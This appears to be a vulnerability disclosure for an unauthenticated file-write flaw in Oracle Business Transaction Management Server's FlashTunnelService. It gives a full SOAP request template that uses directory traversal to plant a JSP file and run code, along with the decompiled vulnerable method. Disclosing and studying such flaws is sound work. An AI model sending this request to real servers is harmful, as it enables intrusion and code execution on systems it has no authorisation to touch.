Oracle Business Transaction Management Server 12.1.0.2.7 FlashTunnelService WriteToFile Message Remote Code Execution Exploit tested against: Microsoft Windows Server 2003 r2 sp2 Oracle WebLogic Server 12c (12.1.1) Oracle Business Transaction Management Server 12.1.0.2.7 (Production version) files tested: oepe-indigo-installer-12.1.1.0.1.201203120349-12.1.1-win32.exe (weblogic) download url: http://www.oracle.com/technetwork/middleware/weblogic/downloads/index.html BTM_Servers_12.1.0.2.7.zip (BTM, production version) download url: http://www.oracle.com/technetwork/oem/downloads/btw-downloads-207704.html vulnerability: the mentioned product installs a web service called "FlashTunnelService" which can be reached without prior authentication and processes incoming SOAP requests. It can be reached at the following uri: http://[host]:7001/btmui/soa/flash_svc/ This soap interface exposes the writeToFile function which could allow to write arbitrary files on the target server. Example packet: POST /btmui/soa/flash_svc/ HTTP/1.1 Accept-Encoding: gzip,deflate Content-Type: text/xml;charset=UTF-8 SOAPAction: "http://soa.amberpoint.com/writeToFile" User-Agent: Jakarta Commons-HttpClient/3.1 Host: 192.168.0.1:7001 Content-Length: [length] <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:int="http://schemas.amberpoint.com/flashtunnel/interfaces" xmlns:typ="http://schemas.amberpoint.com/flashtunnel/types"> <soapenv:Header/> <soapenv:Body> <int:writeToFileRequest> <int:writeToFile handle="..\..\..\..\..\..\..\..\[path]\somefile.jsp"> <!--Zero or more repetitions:--> <typ:text>[code]</typ:text> <!--Optional:--> <typ:WriteToFileRequestVersion> <!--You may enter ANY elements at this point--> </typ:WriteToFileRequestVersion> </int:writeToFile> </int:writeToFileRequest> </soapenv:Body> </soapenv:Envelope> the 'handle' property can be used to control the location of the newly written file (it suffers of a directory traversal ulnerability). File extension can also be controlled. File content can be controlled through the 'text' element (note that one must convert the code to html entities firstly, the soap interface will reconvert it to his original format). Given this, a remote attacker, could place an arbitrary jsp script inside the main web server root path, then execute arbitrary code with the privileges of the weblogic installation, usually Administrator privileges). vulnerable code, see the decompiled com.amberpoint.flashtunnel.impl.FlashTunnelServiceImpl.class .. public IWriteToFileResponse writeToFile(IWriteToFileRequest request) throws SOAPFaultException { WriteToFileResponse wtfr = new WriteToFileResponse(); String handle = request.getHandle(); TypedList text = request.getText(); if(text != null && text.size() > 0) { File f = getFileFromHandle(handle); if(f != null) try { FileOutputStream fos = new FileOutputStream(f); OutputStreamWriter osw = new OutputStreamWriter(fos, "UTF-8"); int i = 0; for(int ii = text.size(); i < ii; i++) { String s = (String)text.get(i); osw.write(s); osw.write("\n"); } osw.close(); } catch(IOException ex) { logger.log(Level.SEVERE, (new StringBuilder()).append("IOException writing '").append(f.toString()).append("': ").append(ex.getMessage()).toString()); } } return wtfr; } ..
